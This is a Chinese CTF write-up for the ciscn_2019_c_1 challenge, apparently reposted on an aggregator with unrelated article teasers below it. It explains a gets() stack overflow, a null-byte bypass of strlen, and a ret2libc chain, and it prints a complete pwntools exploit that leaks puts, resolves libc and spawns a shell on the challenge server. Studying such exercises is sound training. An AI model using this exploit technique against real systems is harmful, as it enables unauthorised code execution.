PWN手的成长之路-14-ciscn_2019_c_1-ret2libc

news/2025/10/12 15:03:27/文章来源:https://www.cnblogs.com/B0rry/p/19136648

image

file:
image

checksec:
image

查看 main 函数:
image
image
image
再结合程序的运行,我们输入的值存到了 v4 中,当 v4=2 时,程序重新再次执行 begin() 函数,若输入 3,则直接退出程序,只有当我们输入 1 的时候,程序才会调用 encrypt() 函数。

查看 encrypt() 函数。gets() 读取输入并进入循环,通过 strlen(s) 获取用户输入的字节长度并对字符进行一系列异或操作。
image

发现存在 gets() 高危函数,猜测存在栈溢出漏洞。但是这道题没有 system("/bin/sh"),并且文件开启了 NX 保护,因此 ret2shellcode、ret2text基本排除了,所以只能是 ret2libc。

ret2libc 是不直接注入 shellcode (因为程序通常具有 NX 保护,栈不可知执行),而是通过利用程序自身加载的动态链接库(比如 libc.so)中的函数(如 system()、execve()等)来执行任意的代码。

但是这道题并没有给出 libc.so 文件,并且程序自身也没有 system 函数和 "/bin/sh" 字符串,所以就需要先泄露程序中的函数地址,再查询 libc 版本,并找到 system 函数和 "/bin/sh" 字符串的内存地址。

再分析 encrypt() 函数,strlen 函数是一个C库中的函数,主要用于计算以空字符 “\0”
为结尾的字符串长度,它会从传入的字符串开始检查每一个字符,直到遇到 “\0” 为止,然后返回遇到的字符串个数(其中不包括 "\0" 本身),例如:给定字符串 “hello”,strlen 函数会返回5,但是如果在字符串开头加上 "\0",那么此时 strlen 函数就会返回0,例如:输入字符串 "\0hello",strlen 函数就会返回0,因为 strlen 函数的机制就是遇到 "\0" 就停止计数,在 encrypt() 函数的后续有说明当 v0>= strlen(s),但是由于 strlen 返回的就是0,所以 v0>=strlen(s) 为假,条件不成立则跳出循环,即跳过了 encrypt 函数对字符串进行异或操作的逻辑,以达到 “破坏” 加密流程的目的(目的就是不让他进行加密操作)。

因为函数没有 system 、/bin/sh,所以攻击会变得较为复杂步骤:
1、泄露libc函数地址(puts)
2、计算其他libc函数地址(system)
3、构造ROP链(/bin/sh)

具体流程:先泄露 puts 函数 plt,再泄露 puts 函数 got 表,栈溢出覆盖返回地址,控制流程使其跳转到 puts@plt,设置 put 参数的内存地址为 got(即泄露 puts 在内存中的实际地址),再返回 main 函数,为什么是 main 函数,因为需要返回到可以再次触发漏洞的攻击函数,方便二次攻击。

再得到puts的真实地址后,使用得到puts地址并结合ibc数据库匹配相对应的libc版本,再计算其他函数的偏移地址。

最终exp(调试了快两天才最终于2025/10/12/14:40成功):

from pwn import *
from LibcSearcher import *#start
r = remote('node5.buuoj.cn',28626)
#r = process('./pwn')
elf = ELF('./pwn')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') #ldd pwn
context.log_level='debug'#params
rdi_addr = 0x400C83
ret_addr = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']#attack
payload = b'a'*(0x50 + 8) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendlineafter(b"choice",b'1')
r.sendline(payload)
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#puts_addr = u64(r.recvline()[:-1].ljust(8,b'\0'))
print(hex(puts_addr))#libc
libc = LibcSearcher("puts",puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr = base_addr + libc.dump('system')
bin_sh_addr = base_addr + libc.dump('str_bin_sh')#base_addr = puts_addr - libc.symbols['puts']
#system_addr = base_addr + libc.symbols['system']
#bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))#attack2
payload2 = b'a'*(0x50+8) + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh_addr) +p64(system_addr)
r.sendlineafter(b'choice',b'1')
r.recvuntil(b'encrypted')
r.sendline(payload2)
r.interactive()

参考1000x_师傅的文章。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/935454.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

国内高速下载镜像

文中方法非常好用,下载速度很快 1、项目介绍上次提及使用CNB下载镜像,有网友反应使用KSpeeder做加速也很香。但KSpeeder后续维护的稳定性肯定是没有自己使用CNB构建的稳定的。但是KSpeeder也是有自己的优势的,这个是…

2025数控高速滚齿机厂家权威推荐榜:精密加工与高效产能标杆

2025数控高速滚齿机厂家权威推荐榜:精密加工与高效产能标杆随着制造业向智能化、精密化方向快速发展,数控高速滚齿机作为齿轮加工领域的核心装备,其技术水平和性能指标直接影响着整个产业链的制造精度与生产效率。在…

完整教程:prompt提示词工程---如何让大模型更听得懂人话

完整教程:prompt提示词工程---如何让大模型更听得懂人话pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas…

2025年10月广州 1688 代运营服务商推荐,阿里巴巴1688店铺代运营、全店托管代运营公司推荐!

在数字经济飞速发展的当下,1688 平台已成为众多企业拓展线上业务的重要阵地。然而,不少企业在运营 1688 店铺时面临诸多难题:缺乏专业的运营团队,对平台规则和算法逻辑不熟悉,难以精准把握市场趋势和消费者需求,…

2025拉伸器厂家最新权威推荐榜:技术实力与市场口碑深度解析

2025拉伸器厂家最新权威推荐榜:技术实力与市场口碑深度解析在工业制造领域,拉伸器作为关键工具设备,其性能优劣直接影响生产效率和产品质量。随着2025年制造业升级加速,拉伸器行业也迎来技术革新浪潮。为帮助用户精…

实用指南:Linux动静态库

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2025年10月工作服厂家最新推荐排行榜,春夏秋冬季工作服,工人工作服,车间工作服,防静电工作服公司推荐!

在当前工作服市场中,企业采购时常常面临诸多难题。一方面,市场上工作服产品质量参差不齐,部分产品面料不符合行业标准,色牢度差、易磨损,难以满足不同行业的工作场景需求,比如化工行业需要的防酸碱工作服,若面料…

2023-网鼎杯web-thinkshop

这题应该在出题的时候就有提供docker环境,也就是说比赛的时候就有考ctfer搭建docker环境的能力,我看了网上大佬的wp,也侧面验证了,所以从搭建环境开始 docker load < thinkshop.tar docker导入环境 docker run -tid…

2025活性氧化镁厂家最新权威推荐榜:高纯度与稳定性能深度解

2025活性氧化镁厂家最新权威推荐榜:高纯度与稳定性能深度解在现代化工材料领域,活性氧化镁作为一种重要的无机化工原料,其应用范围已从传统的橡胶、塑料行业扩展到医药、环保等新兴领域。随着产业升级对材料性能要求…

Java的一些细节

1、Java的源文件以java格式命名,之后转为class格式(字节码文件)才可以运行; 2、Java程序开始执行的入口,是在main()方法,固定格式为 public static void main(String[] args){} 3、Java严格区分大小写; 4、Ja…

通用寄存器, 与RAM寄存器的内存关系

通用寄存器, 与RAM寄存器的内存关系通用寄存器和堆栈、data、bss段完全不在一个层级上。它们是两种截然不同的存储结构。​​ 您的理解中可能混淆了“内存地址空间”和“CPU硬件寄存器”这两个概念。让我们来详细分解…

C++20中线程类std::jthread的使用 - 详解

C++20中线程类std::jthread的使用 - 详解2025-10-12 14:39 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block…

2025年CNC高压清洗机厂家权威推荐:高效清洁与耐用性能深

2025年CNC高压清洗机厂家权威推荐:高效清洁与耐用性能深在制造业智能化转型的浪潮中,CNC高压清洗机作为工业清洁领域的关键设备,正发挥着日益重要的作用。这类设备不仅能有效清除CNC加工中心、数控机床等精密设备在…

ABC427

ABC427C. Bipartize 枚举每个点的颜色,然后统计有多少条边的端点颜色相同,这就是要删除的点,取最小值即可代码实现 #include <bits/stdc++.h> #define rep(i, n) for (int i = 0; i < (n); ++i)using name…

C# NUnit

Install-Package NUnit; Install-Package NUnit3TestAdapter; Install-Package Microsoft.Net.Test.Sdk; Install-Package Moq;using Moq; using NUnit.Framework; using NUnit.Framework.Legacy;namespace ConsoleApp…

从 EFI 到 GPT:深入理解现代计算机启动与磁盘分区技能

从 EFI 到 GPT:深入理解现代计算机启动与磁盘分区技能pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas&q…

2025年扁钢厂家最新权威推荐榜:强度与精度双重保障的工业脊

2025年扁钢厂家最新权威推荐榜:强度与精度双重保障的工业脊梁在制造业转型升级的关键时期,扁钢作为工业领域的"骨架材料",其质量直接影响着装备制造、建筑工程、轨道交通等行业的健康发展。随着新材料技术…

GJB 438C学习

系列标准宣贯︱GJB 438C中规定软件文档的用途与编写时机长风破浪会有时,直挂云帆济沧海! 可通过下方链接找到博主 https://www.cnblogs.com/judes/p/10875138.html

typora markdown

markdown学习 标题: +空格+标题名字 二级标题 +名称 以此类推每级加一个# 字体 hello,world! 左右 ** hello,world! * hello,workd! *** hello,workd! …

2025防爆数粒机厂家权威推荐榜:高效精准与安全防爆口碑之选

2025防爆数粒机厂家权威推荐榜:高效精准与安全防爆口碑之选在制药、化工、食品等工业领域,颗粒物料的精准计数与分装是生产流程中的关键环节。防爆数粒机作为特种设备,不仅需要满足高效精准的计数要求,更要具备严格…